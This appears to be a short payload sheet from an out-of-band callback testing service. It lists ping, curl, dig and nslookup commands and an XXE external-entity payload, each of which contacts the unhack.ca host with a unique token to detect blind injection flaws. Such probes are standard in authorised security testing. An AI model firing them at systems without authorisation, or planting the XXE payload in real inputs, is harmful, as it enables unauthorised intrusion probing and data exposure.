$ ping -c1 -p 00cab7c167fb7a6ec4c40b5904684100 unhack.ca
 

$ curl http://unhack.ca/p/cab7c167fb7a6ec4c40b59046841
 

$ dig cab7c167fb7a6ec4c40b59046841 @unhack.ca
 

$ dig cab7c167fb7a6ec4c40b59046841.ns.unhack.ca
 

C:\> nslookup cab7c167fb7a6ec4c40b59046841 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/cab7c167fb7a6ec4c40b59046841">]>
    <foo>&xxe;</foo>